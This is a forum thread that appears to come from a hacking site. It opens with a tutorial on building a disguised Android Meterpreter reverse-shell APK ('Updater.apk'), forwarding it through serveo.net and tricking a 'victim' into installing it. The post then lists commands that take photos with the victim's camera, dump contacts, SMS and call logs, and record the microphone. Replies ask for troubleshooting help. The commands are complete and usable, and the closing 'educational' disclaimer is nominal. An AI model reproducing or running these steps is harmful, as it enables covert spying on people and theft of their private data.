# How To Hack An Android Phone With Another Android (Without Root) Android To Android Hacking **URL:** \ **Category:** Tutorials & Methods\ **Tags:** programming, hacking\ **Created:** [February 20, 2020, 9:00pm UTC](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651 "2020-02-20T21:00:41Z")\ **Posts on this page:** 5\ **Page:** 1
**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\ **Post date:** [February 20, 2020, 9:00pm UTC](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651/1 "2020-02-20T21:00:41Z")
Hello aspiring **Hackers!!!** as you can guess from the title, this post is gonna be awesome. Its about How to hack an Android phone with another Android _ **without root** _ often called as **Android to Android Hacking** _._ This is 100% working method and practically done by me. Therefore, follow my instructions carefully and i will let you hack an Android in just simple 5 steps. ### Requirements :- 1. Termux app( Download it from [Play Store](https://play.google.com/store/apps/details?id=com.termux)) 2. Installed Metasploit Framework in TermuX 3. TermuX should be allowed to use External Storage (For this only enter this command only at once: “termux-setup-storage”) 4. MiXplorer (-2.36MB For signing APK file, Download it from [UpToDown Website](https://mixplorer.en.uptodown.com/android)) 5. MiX Signer (- 500KB APK Signer for MiXplorer (Download it from their [Official Site](https://www.google.co.in/amp/s/mix-signer.en.aptoide.com/amp)) 6. (Recommended) Use [Hacker`s Keyboard](https://play.google.com/store/apps/details?id=org.pocketworkstation.pckeyboard&hl=en) for entering commands in TermuX easily. **Step 1** **: Port Forwarding** - For port forwarding we will use [Serveo](https://serveo.net/). Firstly, it allows us to manually forward desired port over internet and secondly we can even do this in future. To use Serveo first of all you have to install **OpenSSH** package for termux. For this you have to write this command :- > **pkg install openssh** ![image](https://onehack.st/uploads/default/original/3X/5/8/5878a6f8d8f792d58ed579c4e7c6d927f0e5f211.png) - After installation its time for port forwarding,so just type this :- > _**ssh -R (Desired\_Port):localhost:(Desired\_Port) [serveo.net](http://serveo.net)**_ - Here we will forward an **TCP port.** To do this you have to enter same, desired ports in “Desired\_Port” field. Also, do not change “localhost”. Thus for example we are going to forward a TCP port : 4564. Afterward you may get such screen ![image](https://onehack.st/uploads/default/original/3X/d/6/d66645b81ece535c524f3ecbd72a35478c30ba67.png) **Step 2:**** Creating PAYLOAD in apk format** To create APK file with embedded Payload enter this command after opening new session in Termux > _**msfvenom -p android/meterpreter/reverse\_tcp [LHOST=serveo.net](http://LHOST=serveo.net) LPORT=4564 R**_ > _ **\> storage/downloads/Updater.apk** _ ![image](https://onehack.st/uploads/default/original/3X/0/2/020263b8134471baaae22df09ac12c52e8f2ccac.png) Just wait for few seconds Payload will be automatically generated ![image](https://onehack.st/uploads/default/original/3X/3/c/3c108d6faff206b257b2767d7ce27ebca52b0b6b.png) Alright! Payload (Updater.apk) is successfully generated you can check it out in your file manager. ### Making the Payload installable **Step 3:**** Signing the APK file** Signing an APK file is equally important. Here I’m providing you some easy steps to sign a APK file: - First of all open **Mixplorer File**** Manager** and find your payload – Updater.apk. - Long press on your payload apk (Updater.apk) and select “ **MENU button** ” on top right corner of MiXplorer, then select “ **SIGN** “ ![image](https://onehack.st/uploads/default/original/3X/1/4/14e4abda1f30144127d0c5e53f73ff7a561d2542.png) - This will give you lot of Signing options in particular but choose **AUTO option,** it will automatically sign the apk in best possible way. ![image](https://onehack.st/uploads/default/original/3X/2/f/2f829a000ba6ee2db13bc1be9a712eace461014b.png) - Now your apk is signed and will be named as _**(filename-signed.apk).**_ As to illustrate in this case we’ve chosen file name as Updater.apk so it will be named as **Updater-signed.apk** ### Getting Hands over Metasploit-Framework : **Step 4:**** Setting up Metasploit-Framework in Termux for Hacking** Metasploit-Framework is a very interesting and powerful well known tool in hacking field. So today we are gonna use it for Android to Android Hacking. - Now open New Session in termux and enter this command to open Metasploit :- > _ **msfconsole** _ It will land you to this below page : ![image](https://onehack.st/uploads/default/original/3X/2/b/2bbf15bc63aeb93498e326b619c225f8d28f39d8.jpeg) Therefore, once msfconsole starts you have to type all these commands (written in bold letters only) one after one(hit enter after typing each individual command) :- > msf\> **use exploit/multi/handler** > msf\> **set payload android/meterpreter/reverse\_tcp** > msf\> **set LHOST localhost** > msf\> **set LPORT 4564** > msf\> **exploit -j -z** ![image](https://onehack.st/uploads/default/original/3X/4/3/43a44f138a25c08494666126df01db96a8befeba.jpeg) ### Social Engineering 😃 **Step 5:**** Installing the Payload in Victim’s Android Phone(Social Engineering)** Finally you are almost all done with your command knowledge and now here comes the best part of Hacking and that is Social Engineering. Now you have to send (recommended via bluetooth) this successfully signed apk to Victim’s Android phone and that’s solely depend on your social engineering tactics. So, I hope you are good with 😊 therefore i assume you have send this Payload in Victim’s phone . Moreover, make sure victim has active internet connection then install the payload and open it. - - After opening APK file in victim`s phone, you will see that Meterpreter Session in your Metasploit field will be activated. To open the Meterpreter session of your victim`s device, click “ **Return Button** ” and enter this Command on Termux in Metasploit session :- > **sessions -i (Session ID)** here, session id can be 1,2,3…. ![image](https://onehack.st/uploads/default/original/3X/6/5/655211547005590fb7ac9072af293695ab498d78.png) - In **(Session ID)** , select the session number of Meterpreter (i.e. You will see this message when your victim opens the APK file: **Meterpreter Session Opened 1** , here , **1** is the session id of Meterpreter Session). Now, if you see such kind of screen ![image](https://onehack.st/uploads/default/original/3X/8/3/83fd7c1b7319ca5c847518e4b85617385c961789.png) then you have hacked it man​😎.You have just **Hacked an Android phone with Android**.And now you know How to hack an Android phone with another Android ### HACKING COMMANDS :- Thus, you have **full access control** to your Victim’s mobile. You can enter : {meterpreter\> **help** } command, for all the available commands available to you for hacking .But I will do this for you we can use these below commands for hacking :- 1. **Controlling Victim’s Camera** Firstly, For capture an image from **Front-Camera** of Victim’s phone just type this command :- > _ **webcam\_snap -i 2 -p storage/downloads/Snapshot-F.jpg** _ Secondly, If you want to access back camera of Victim’s phone just replace **2** in previous command by **1** > _ **webcam\_snap -i 1 -p storage/downloads/Snapshot-F.jpg** _ You can checkout your gallery or file manager(by default in **downloads** folder) to see the image captured by your Victim’s phone. 1. **Getting all contacts from Victim’s phone** For accessing contacts from your Victim’s phone just type this command :- > _ **dump\_contacts -o storage/downloads/Contacts.txt** _ List of contacts will be saved in your **downloads** folder namely **Contacts.txt**. 1. **To access SMS from Victim’s phone** To read all SMS from Victim’s phone just like above type this command :- > _ **dump\_sms -o storage/downloads/SMS.txt** _ All the messages will by default get stored in your **downloads** folder namely _ **SMS.txt** _ 1. **Fetching Call Log** To get the call log details of your Victim’s Android phone > **dump\_calllog -o storage/downloads/CallLog.txt** All the call log details will by default get stored in your **downloads** folder namely **CallLog.txt** 1. **Accessing Microphone of Victim’s phone** You can also record audio through Victim’s phone and hear it on your phone. Just type this command :- > _ **record\_mic -d 10 -f storage/downloads/Spy-Record.mp3** _ By default this command will record 10 second of audio. You can change the duration of recording just replace **10** by the time that you want like **20** for 20 seconds recording and so on. ##### **Note –** This is only for educational purpose and I’m not responsible for any misuse or harm done. ## ENJOY & HAPPY LEARNING! 👍 ---
**Author:** ![abdelhak\_ketfi](https://onehack.st/user_avatar/onehack.st/abdelhak_ketfi/32/76801_2.png) [@abdelhak\_ketfi](https://onehack.st/u/abdelhak_ketfi)\ **Post date:** [April 24, 2020, 9:58pm UTC](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651/2 "2020-04-24T21:58:39Z")
I respect u ---
**Author:** ![ladokado11](https://onehack.st/user_avatar/onehack.st/ladokado11/32/24243_2.png) [@ladokado11](https://onehack.st/u/ladokado11)\ **Post date:** [May 10, 2020, 5:39am UTC](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651/3 "2020-05-10T05:39:05Z")
at this command: _ **ssh -R 4564:localhost:4564** _ gave me this: ssh: could not resolve hostname [serveo.net](http://serveo.net): No address associated with hostname and when i tried to copy command from serveodotnet that was “ssh -R 80:localhost:3000” it gave me "ssh: connect to host serveodotnet port 22: connection timed out, and additionally there both ports (80 and 3000) were different so it was confusing. Please help. thank you ---
**Author:** ![Scott\_Galan1](https://onehack.st/user_avatar/onehack.st/scott_galan1/32/45424_2.png) [@Scott\_Galan1](https://onehack.st/u/Scott_Galan1)\ **Post date:** [August 25, 2020, 9:46pm UTC](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651/5 "2020-08-25T21:46:07Z")
can someone help me with this i have termmux but when i try to install any pkg saying pkg not found ---
**Author:** ![Animesh](https://onehack.st/letter_avatar_proxy/v4/letter/a/5e9695/32.png) [@Animesh](https://onehack.st/u/Animesh)\ **Post date:** [October 28, 2020, 3:29pm UTC](https://onehack.st/t/how-to-hack-an-android-phone-with-another-android-without-root-android-to-android-hacking/70651/6 "2020-10-28T15:29:55Z")
> [@Aina](#): > > ssh -R (Desired\_Port):localhost:(Desired\_Port) [serveo.net](http://serveo.net) Hi, Thank you for your hard work in posting this. When I tried according to the steps mentioned, I get an error while port forwarding. “ssh: connect to host [serveo.net](http://serveo.net) port 22: Connection refused” Any solution to this? @Aina Would be very helpful.